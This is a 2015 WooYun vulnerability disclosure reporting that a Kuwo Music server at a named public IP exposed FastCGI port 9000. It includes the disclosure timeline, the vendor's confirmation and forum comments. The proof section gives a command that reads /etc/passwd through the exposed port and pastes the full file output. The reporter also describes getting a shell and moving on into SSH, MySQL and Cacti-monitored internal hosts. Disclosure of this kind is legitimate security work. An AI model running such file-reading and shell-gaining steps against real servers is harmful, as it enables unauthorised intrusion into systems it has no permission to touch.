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缺陷编号:wooyun-2015-0126535

漏洞标题:酷我音乐某服务器配置不当(已getshell,可内网)

相关厂商:酷我音乐

漏洞作者: PyNerd

提交时间:2015-07-13 20:06

修复时间:2015-08-28 10:04

公开时间:2015-08-28 10:04

漏洞类型:系统/服务运维配置不当

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-07-13: 细节已通知厂商并且等待厂商处理中
2015-07-14: 厂商已经确认,细节仅向厂商公开
2015-07-24: 细节向核心白帽子及相关领域专家公开
2015-08-03: 细节向普通白帽子公开
2015-08-13: 细节向实习白帽子公开
2015-08-28: 细节向公众公开

简要描述:

中国好声音门票有么?

详细说明:

IP:60.28.198.61 9000端口允许公网访问

# php fcgiget.php 60.28.198.61:9000/etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
puppet:x:500:500::/home/puppet:/sbin/nologin
newmonitor:x:501:501::/Monitor:/bin/bash
openvpn:x:498:496:OpenVPN:/etc/openvpn:/sbin/nologin
chengang:x:502:502::/home/chengang:/bin/bash
happy:x:503:503::/home/happy:/bin/bash
apache:x:48:48:Apache:/var/www:/sbin/nologin
nagios:x:504:505::/home/nagios:/bin/bash
mysql:x:506:506::/home/mysql:/sbin/nologin
cacti:x:507:507::/home/cacti:/bin/bash
sichuan:x:508:508::/home/sichuan:/bin/bash
skyworth:x:509:509::/home/skyworth:/bin/bash
tcl:x:510:510::/home/tcl:/bin/bash
cmcc:x:511:511::/home/cmcc:/bin/bash
chip:x:512:512::/home/chip:/bin/bash
guizhou:x:513:513::/home/guizhou:/sbin/nologin
scdx:x:514:514::/home/scdx:/bin/bash
cqyx:x:515:515::/home/cqyx:/bin/bash
omusic:x:516:516::/home/omusic:/bin/bash
api2:x:517:517::/home/api2:/bin/bash


ku.png


getshell后ssh登陆服务器,再进mysql,查看了一下cacti上监控的主机

kuwo.png


cacti监控了几台主机,有CDN节点、tomcat等

cacti.png

漏洞证明:

IP:60.28.198.61 9000端口允许公网访问

# php fcgiget.php 60.28.198.61:9000/etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
puppet:x:500:500::/home/puppet:/sbin/nologin
newmonitor:x:501:501::/Monitor:/bin/bash
openvpn:x:498:496:OpenVPN:/etc/openvpn:/sbin/nologin
chengang:x:502:502::/home/chengang:/bin/bash
happy:x:503:503::/home/happy:/bin/bash
apache:x:48:48:Apache:/var/www:/sbin/nologin
nagios:x:504:505::/home/nagios:/bin/bash
mysql:x:506:506::/home/mysql:/sbin/nologin
cacti:x:507:507::/home/cacti:/bin/bash
sichuan:x:508:508::/home/sichuan:/bin/bash
skyworth:x:509:509::/home/skyworth:/bin/bash
tcl:x:510:510::/home/tcl:/bin/bash
cmcc:x:511:511::/home/cmcc:/bin/bash
chip:x:512:512::/home/chip:/bin/bash
guizhou:x:513:513::/home/guizhou:/sbin/nologin
scdx:x:514:514::/home/scdx:/bin/bash
cqyx:x:515:515::/home/cqyx:/bin/bash
omusic:x:516:516::/home/omusic:/bin/bash
api2:x:517:517::/home/api2:/bin/bash


ku.png


getshell后ssh登陆服务器,再进mysql,查看了一下cacti上监控的主机

kuwo.png


cacti监控了几台主机,有CDN节点、tomcat等

cacti.png

修复方案:

acl

版权声明:转载请注明来源 PyNerd@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-07-14 10:03

厂商回复:

感谢多酷我的支持

最新状态:

暂无


漏洞评价:

评论

  1. 2015-07-13 20:17 | myhalo ( 普通白帽子 | Rank:281 漏洞数:55 | 所属团队:TSafe)

    毛线,我的都被他忽略了

  2. 2015-07-13 20:27 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    @酷我音乐 看下短消息

  3. 2015-07-13 22:31 | Fire ant ( 实习白帽子 | Rank:73 漏洞数:26 | 他们回来了................)

    你关注的白帽子 PyNerd 发表了漏洞 酷我音乐某服务器配置不当(已getshell,可内网)

  4. 2015-08-23 10:22 | PyNerd ( 普通白帽子 | Rank:156 漏洞数:28 | Just for shell.)

    川神求带@小川

  5. 2015-08-28 16:09 | 夏七夕 ( 路人 | Rank:2 漏洞数:1 )

    应该问QQ音乐问好声音门票